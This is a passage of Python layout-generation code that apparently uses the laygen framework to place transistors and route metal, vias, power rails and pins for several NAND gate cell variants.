refinstname1=in1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in4.name, refinstindex0=np.array([i, 0]),
refinstname1=in4.name, refinstindex1=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=in4.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
xy_s1 = laygen.get_template_pin_xy(ip1.cellname, 'S1', rg_m1m2)[0, :]
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([i, 0]),
refinstname1=ip1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]),
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=in4.name, refinstindex0=np.array([i, 0]),
refinstname1=in4.name, refinstindex1=np.array([i, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=in4.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
# power and groud rail
xy = laygen.get_xy(obj = ip5.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd=laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip5.name)
rvss=laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in5.name)
# pin
if create_pin == True:
create_io_pin(laygen, layer=laygen.layers['pin'][3], gridname=rg_m2m3_pin,
pinname_list = ['A', 'B', 'O'], rect_list=[ra0, rb0, ro0])
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_nand(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body, devname_pmos_boundary, devname_pmos_body,
m=1, origin=np.array([0,0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
m=max(1, int(m/2)) #using nf=2 devices
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix + 'N1', templatename = devname_nmos_body, gridname = pg, refinstname = in0.name, shape=np.array([m, 1]))
in2 = laygen.relplace(name = "I" + objectname_pfix + 'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
in3 = laygen.relplace(name = "I" + objectname_pfix + 'N3', templatename = devname_nmos_boundary, gridname = pg, refinstname = in2.name)
in4 = laygen.relplace(name = "I"+objectname_pfix + 'N4', templatename = devname_nmos_body, gridname = pg, refinstname = in3.name, shape=np.array([m, 1]))
in5 = laygen.relplace(name = "I"+objectname_pfix + 'N5', templatename = devname_nmos_boundary, gridname = pg, refinstname = in4.name)
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix + 'P1', templatename = devname_pmos_body, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m, 1]))
ip2 = laygen.relplace(name = "I"+objectname_pfix + 'P2', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1.name, transform='MX')
ip3 = laygen.relplace(name = "I"+objectname_pfix + 'P3', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip2.name, transform='MX')
ip4 = laygen.relplace(name = "I"+objectname_pfix + 'P4', templatename = devname_pmos_body, gridname = pg, refinstname = ip3.name, transform='MX', shape=np.array([m, 1]))
ip5 = laygen.relplace(name = "I"+objectname_pfix + 'P5', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip4.name, transform='MX')
# route
# b0
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([i, 0]),
refinstname1=ip1.name, refpinname1='G0', refinstindex1=np.array([i, 0]),
)
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
if m == 1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]),
endstyle0="extend", endstyle1="extend")
rb0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([-1, 0]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]))
rb0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
# a0
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in4.name, refpinname0='G0', refinstindex0=np.array([i, 0]),
refinstname1=ip4.name, refpinname1='G0', refinstindex1=np.array([i, 0]),
)
laygen.via(None, np.array([0, 0]), refinstname=ip4.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
if m == 1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=ip4.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=ip4.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]),
endstyle0="extend", endstyle1="extend")
ra0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=ip4.name, refpinname0='G0', refinstname1=ip4.name, refpinname1='G0',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([-1, 0]), refinstname=ip4.name, refpinname='G0', gridname=rg_m2m3)
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=ip4.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=ip4.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]))
ra0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=ip4.name, refpinname0='G0', refinstname1=ip4.name, refpinname1='G0',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([0, 0]), refinstname=ip4.name, refpinname='G0', gridname=rg_m2m3)
# internal connection between mos
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0',
refinstname1=in4.name, refpinname1='S1', refinstindex1=np.array([m - 1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='D0',
refinstname1=ip4.name, refpinname1='D0', refinstindex1=np.array([m - 1, 0]))
for i in range(m):
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=ip1.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=in4.name, refpinname='S0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=ip4.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=in4.name, refpinname='S1', refinstindex=np.array([m-1, 0]), gridname=rg_m1m2)
# output
if m==1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m2m3,
refinstname0=in4.name, refpinname0='D0', refinstindex0=np.array([0, 0]),
refinstname1=in4.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]),
endstyle0="extend", endstyle1="extend")
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in4.name, refpinname0='D0', refinstindex0=np.array([0, 0]),
refinstname1=in4.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]))
ro0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in4.name, refpinname0='D0', refinstindex0=np.array([m - 1, 0]),
refinstname1=ip4.name, refpinname1='D0', refinstindex1=np.array([m - 1, 0]))
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in4.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
#laygen.via(None, np.array([0, 0]), refinstname=in4.name, refpinname='S1', refinstindex=np.array([m - 1, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in4.name, refpinname='D0', gridname=rg_m2m3, refinstindex=np.array([m - 1, 0]))
laygen.via(None, np.array([0, 1]), refinstname=ip4.name, refpinname='D0', gridname=rg_m2m3, refinstindex=np.array([m - 1, 0]))
# power and ground route
xy_s0 = laygen.get_template_pin_xy(in1.cellname, 'S0', rg_m1m2)[0, :]
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]),
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([i, 0]),
refinstname1=ip1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=ip4.name, refinstindex0=np.array([i, 0]),
refinstname1=ip4.name, refinstindex1=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip4.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
xy_s1 = laygen.get_template_pin_xy(in1.cellname, 'S1', rg_m1m2)[0, :]
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]),
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([i, 0]),
refinstname1=ip1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=ip4.name, refinstindex0=np.array([i, 0]),
refinstname1=ip4.name, refinstindex1=np.array([i, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=ip4.name, gridname=rg_m1m2,
refinstindex=np.array([i, 0]))
# power and groud rail
xy = laygen.get_xy(obj = in5.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd=laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip5.name)
rvss=laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in5.name)
# pin
if create_pin == True:
create_io_pin(laygen, layer=laygen.layers['pin'][3], gridname=rg_m2m3_pin,
pinname_list = ['A', 'B', 'O'], rect_list=[ra0, rb0, ro0])
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_nand_1x(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body_2stack,
devname_pmos_boundary, devname_pmos_body_left, devname_pmos_body_right,
pin_o_yindex=0, origin=np.array([0, 0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix + 'N1', templatename = devname_nmos_body_2stack, gridname = pg, refinstname = in0.name)
#in2 = laygen.relplace(name = "I"+objectname_pfix + 'N2', templatename = devname_nmos_body_right, gridname = pg, refinstname = in1.name)
in2 = laygen.relplace(name = "I"+objectname_pfix + 'N3', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix + 'P1', templatename = devname_pmos_body_left, gridname = pg, refinstname = ip0.name, transform='MX')
ip2 = laygen.relplace(name = "I"+objectname_pfix + 'P2', templatename = devname_pmos_body_right, gridname = pg, refinstname = ip1.name, transform='MX')
ip3 = laygen.relplace(name = "I"+objectname_pfix + 'P3', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip2.name, transform='MX')
# route
# B
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstname1=ip1.name, refpinname1='G0')
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='G0', gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([2, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0',
refinstname1=in1.name, refpinname1='G0', endstyle0="extend", endstyle1="extend")
rb0 = laygen.route("R"+objectname_pfix+"A0", laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0')
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
# A
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G1', refinstname1=ip2.name, refpinname1='G0')
laygen.via(None, np.array([0, 0]), refinstname=ip2.name, refpinname='G0', gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=ip2.name, refpinname0='G0',
refinstname1=ip2.name, refpinname1='G0', endstyle0="extend", endstyle1="extend")
ra0 = laygen.route("R"+objectname_pfix+"B0", laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G1', refinstname1=in1.name, refpinname1='G1')
laygen.via(None, np.array([-1, 0]), refinstname=ip2.name, refpinname='G0', gridname=rg_m2m3)
# output
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, pin_o_yindex]), xy1=np.array([0, pin_o_yindex]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0', refinstname1=in1.name, refpinname1='D0')
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, pin_o_yindex]), xy1=np.array([0, pin_o_yindex]), gridname0=rg_m2m3,
refinstname0=ip2.name, refpinname0='D0', refinstname1=ip2.name, refpinname1='D0')
ro0 = laygen.route("R"+objectname_pfix+"O0", laygen.layers['metal'][3], xy0=np.array([0, pin_o_yindex]),
xy1=np.array([0, pin_o_yindex]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0', refinstname1=ip2.name, refpinname1='D0')
laygen.via(None, np.array([0, pin_o_yindex]), refinstname=in1.name, refpinname='D0', gridname=rg_m1m2)
laygen.via(None, np.array([0, pin_o_yindex]), refinstname=ip2.name, refpinname='S0', gridname=rg_m1m2)
laygen.via(None, np.array([0, pin_o_yindex]), refinstname=in1.name, refpinname='D0', gridname=rg_m2m3)
laygen.via(None, np.array([0, pin_o_yindex]), refinstname=ip2.name, refpinname='D0', gridname=rg_m2m3)
# power and ground route
xy_s0 = laygen.get_template_pin_xy(in1.cellname, 'S0', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0*np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstname1=in1.name)
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0*np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstname1=ip1.name)
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2)
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2)
xy_d0 = laygen.get_template_pin_xy(ip2.cellname, 'D0', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=xy_d0*np.array([1, 0]), xy1=xy_d0, gridname0=rg_m1m2,
refinstname0=ip2.name, refinstname1=ip2.name)
laygen.via(None, xy_d0 * np.array([1, 0]), refinstname=ip2.name, gridname=rg_m1m2)
# power and groud rail
xy = laygen.get_xy(obj = in2.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd = laygen.route("R" + objectname_pfix + "VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip3.name)
rvss = laygen.route("R" + objectname_pfix + "VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in2.name)
# pin
if create_pin == True:
create_io_pin(laygen, layer=laygen.layers['pin'][3], gridname=rg_m2m3_pin,
pinname_list = ['A', 'B', 'O'], rect_list=[ra0, rb0, ro0])
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_nand_match(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body, devname_pmos_boundary, devname_pmos_body, devname_pmos_dmy,
m=1, origin=np.array([0,0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
m=max(1, int(m/2)) #using nf=2 devices
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix + 'N1', templatename = devname_nmos_body, gridname = pg, refinstname = in0.name, shape=np.array([m*2, 1]))
in2 = laygen.relplace(name = "I" + objectname_pfix + 'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
in3 = laygen.relplace(name = "I" + objectname_pfix + 'N3', templatename = devname_nmos_boundary, gridname = pg, refinstname = in2.name)
in4 = laygen.relplace(name = "I"+objectname_pfix + 'N4', templatename = devname_nmos_body, gridname = pg, refinstname = in3.name, shape=np.array([m*2, 1]))
in5 = laygen.relplace(name = "I"+objectname_pfix + 'N5', templatename = devname_nmos_boundary, gridname = pg, refinstname = in4.name)
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix + 'P1', templatename = devname_pmos_body, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m, 1]))
ip1_sp = laygen.relplace(name = "I"+objectname_pfix + 'P1_SP', templatename = devname_pmos_dmy, gridname = pg, refinstname = ip1.name, transform='MX', shape=np.array([m, 1]))
ip2 = laygen.relplace(name = "I"+objectname_pfix + 'P2', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1_sp.name, transform='MX')
ip3 = laygen.relplace(name = "I"+objectname_pfix + 'P3', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip2.name, transform='MX')
ip4 = laygen.relplace(name = "I"+objectname_pfix + 'P4', templatename = devname_pmos_body, gridname = pg, refinstname = ip3.name, transform='MX', shape=np.array([m, 1]))
ip4_sp = laygen.relplace(name = "I"+objectname_pfix + 'P4_SP', templatename = devname_pmos_dmy, gridname = pg, refinstname = ip4.name, transform='MX', shape=np.array([m, 1]))
ip5 = laygen.relplace(name = "I"+objectname_pfix + 'P5', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip4_sp.name, transform='MX')
# route
# b0
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([i, 0]),
refinstname1=ip1.name, refpinname1='G0', refinstindex1=np.array([i, 0]),
)
for i in range(m*2):
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
if m == 1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='G0', refinstindex1=np.array([m*2 - 1, 0]),
endstyle0="extend", endstyle1="extend")
rb0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([-1, 0]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='G0', refinstindex1=np.array([m*2 - 1, 0]))
rb0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
# a0
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in4.name, refpinname0='G0', refinstindex0=np.array([i, 0]),
refinstname1=ip4.name, refpinname1='G0', refinstindex1=np.array([i, 0]),
)
for i in range(m*2):
laygen.via(None, np.array([0, 0]), refinstname=in4.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
if m == 1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=in4.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in4.name, refpinname1='G0', refinstindex1=np.array([m*2 - 1, 0]),
endstyle0="extend", endstyle1="extend")
ra0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=ip4.name, refpinname0='G0', refinstname1=ip4.name, refpinname1='G0',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([-1, 0]), refinstname=in4.name, refpinname='G0', gridname=rg_m2m3)
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in4.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in4.name, refpinname1='G0', refinstindex1=np.array([m*2 - 1, 0]))
ra0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=ip4.name, refpinname0='G0', refinstname1=ip4.name, refpinname1='G0',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([0, 0]), refinstname=in4.name, refpinname='G0', gridname=rg_m2m3)
# internal connection between mos
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0',
refinstname1=in4.name, refpinname1='S1', refinstindex1=np.array([m*2 - 1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='D0',
refinstname1=ip4.name, refpinname1='D0', refinstindex1=np.array([m - 1, 0]))
for i in range(m*2):
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=in4.name, refpinname='S0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
for i in range(m):
laygen.via(None, np.array([0, 1]), refinstname=ip1.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=ip4.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=in4.name, refpinname='S1', refinstindex=np.array([m*2-1, 0]), gridname=rg_m1m2)
# output
if m==1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m2m3,
refinstname0=in4.name, refpinname0='D0', refinstindex0=np.array([0, 0]),
refinstname1=in4.name, refpinname1='D0', refinstindex1=np.array([m*2-1, 0]),
endstyle0="extend", endstyle1="extend")
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in4.name, refpinname0='D0', refinstindex0=np.array([0, 0]),
refinstname1=in4.name, refpinname1='D0', refinstindex1=np.array([m*2-1, 0]))
ro0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in4.name, refpinname0='D0', refinstindex0=np.array([m - 1, 0]),
refinstname1=ip4.name, refpinname1='D0', refinstindex1=np.array([m - 1, 0]))
for i in range(m*2):
laygen.via(None, np.array([0, 0]), refinstname=in4.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
#laygen.via(None, np.array([0, 0]), refinstname=in4.name, refpinname='S1', refinstindex=np.array([m - 1, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in4.name, refpinname='D0', gridname=rg_m2m3, refinstindex=np.array([m - 1, 0]))
